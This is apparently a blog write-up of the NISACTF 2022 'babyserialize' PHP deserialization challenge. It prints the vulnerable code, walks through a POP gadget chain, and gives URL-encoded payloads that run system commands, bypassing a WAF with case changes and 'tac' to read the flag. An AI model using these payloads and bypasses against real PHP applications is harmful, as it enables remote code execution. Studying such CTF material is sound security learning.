[NISACTF 2022]babyserialize - 反序列化+waf绕过【*】

NISACTF 2022babyserialize

一、解题过程

题目代码:

php 复制代码
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup(){
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    function __call($from,$val){
        $this->fun=$val[0];
    }
    public function __toString(){
        echo $this->fun;
        return " ";
    }
    public function __invoke(){
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup(){
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';
    public function __set($name, $value){
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}
?>

1、分析链条和属性

  链条:TianXiWeis(__wakeup)-> Ilovetxw(__call)-> four(__set) -> Ilovetxw(__toString)-> NISA(__invoke)

  属性:TianXiWeis(ext=$i)-> Ilovetxw(huang=$f)-> four(fun="sixsixsix";a=$i)-> Ilovetxw(su=$n)-> NISA(txw4ever=命令)

2、序列化代码:这里暂时还不知道waf是什么,暂时也没底,先试试看能不能成功打通链条再说 ᕦ(・ㅂ・)ᕤ

php 复制代码
<?php
	...........................
	class照搬
	...........................
	
	$t = new TianXiWei();
	$i = new Ilovetxw();
	$f = new four();
	$n = new NISA();
	
	$t->ext=$i;
	$i->huang=$f;
	$f->fun="sixsixsix";$f->a=$i;
	$i->su=$n;	//这里可以注释掉,取消Ilovetxw和NISA的魔术方法调用,看看会不会出现NISA的hint提示,从而判断我们构造的代码有没有问题
	$n->txw4ever="system('ls');";
	
	//echo serialize($t);	有特殊字符,不能用serialize
	echo urlencode(serialize($t));	//记住是序列化t不是n哦~
?>

payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

得到:flag is in /

3、大小写绕过system,tac绕过cat;删除fun内容,跳过hint()提示

payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27tac+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

得到:NSSCTF{d0d88168-866b-4c8a-a9ef-e3530912602e}

二、思考总结

(一)、关于题目的小细节

在做这题的时候,我的链条构造一直有:$f->fun="sixsixsix";

但是在看完别人的wp之后,发现并没有进行$f->fun="sixsixsix";的赋值操作

我在整体的角度看了好久也没看出为什么不赋值也能顺利拿到payload,也去请教了老师

讲讲原因:if里面是**=,不是 ==**!哈哈哈哈

有时候确实代码一长,就容易忽视细节,默认if里面就是判断,其实是错的!

因为该问题,我明白了认真观察、注意细节的重要性。

(二)、关于弱类型比较技巧

这题解决之后,我发现有个评论很有意思

当我们把变量赋值为类对象,在和字符串比较的时候,会被转化为字符串再比较,触发toString魔术方法,少走很多弯路,又学到一个技巧!

相关推荐
金融Tech趋势派3 小时前
2026企业微信SCRM服务商选型指南:官方认证、安全合规、产品能力全维度核验
大数据·安全·企业微信
sbjdhjd4 小时前
在 8 字符、字母数字过滤与 PHP 版本差异下复盘临时文件命令执行链 | (8字符绕过)
android·java·开发语言·安全·web安全·数据挖掘·php
zhojiew4 小时前
让 Agent 安全地“借用别人的钥匙“:AgentCore 上用 Authentik 打通 OAuth 出站的一次实战
安全·ai·aws·agentcore
小杨不想秃头4 小时前
信息安全工程师第六章
网络·安全·web安全
万联WANFLOW4 小时前
技术演进与安全博弈中的 OpenAI GPT-6 Astra
网络·人工智能·gpt·安全·业界资讯
Wang's Blog4 小时前
Java框架快速入门: Spring Security+OAuth2之密码存储安全进化与实践
java·安全·spring
yydbjx4 小时前
安全感不是“被害妄想“:如何区分合理的预防和过度的焦虑?
安全
2601_962364974 小时前
没有 TPM2.0,还能用 Windows Hello 摄像头吗?
windows·安全·电脑
mengge.cloud5 小时前
0909华为云网络类服务实践小白实验教程
linux·运维·服务器·网络·华为云·php
2401_868534785 小时前
第十章 网络规划设计
安全·中间件